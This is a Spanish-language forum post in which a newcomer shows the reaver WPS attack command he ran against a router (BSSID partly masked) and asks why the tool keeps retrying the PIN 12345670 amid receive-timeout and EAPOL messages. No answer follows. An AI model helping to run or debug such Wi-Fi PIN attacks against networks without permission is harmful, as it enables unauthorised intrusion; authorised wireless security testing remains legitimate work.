Problemas con reaver

Saludos, soy nuevo en esto de reaver.

Ejecute el siguiente comando:

Código:

reaver -i wlan0mon -b 34:0A:98:XX:XX:XX -c 10 -vv

De ahi todo "funciono" bien, o eso creo:

Código:

Reaver v1.6.6 WiFi Protected Setup Attack Tool

Uno de los problemas que veo es que siempre intenta con el mismo PIN (12345670), es esto normal? debería intentar con varios PINes no es así?

Por otra parte, después de intentar con un PIN se imprimen los siguientes mensajes varias veces (como se habrán dado cuenta...):

Código:

[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request

Y después de que se imprimen dichos mensajes, intenta con el mismo PIN otra ves, y así sucesivamente. ¿Que esta pasando?.

De antemano gracias por su ayuda.
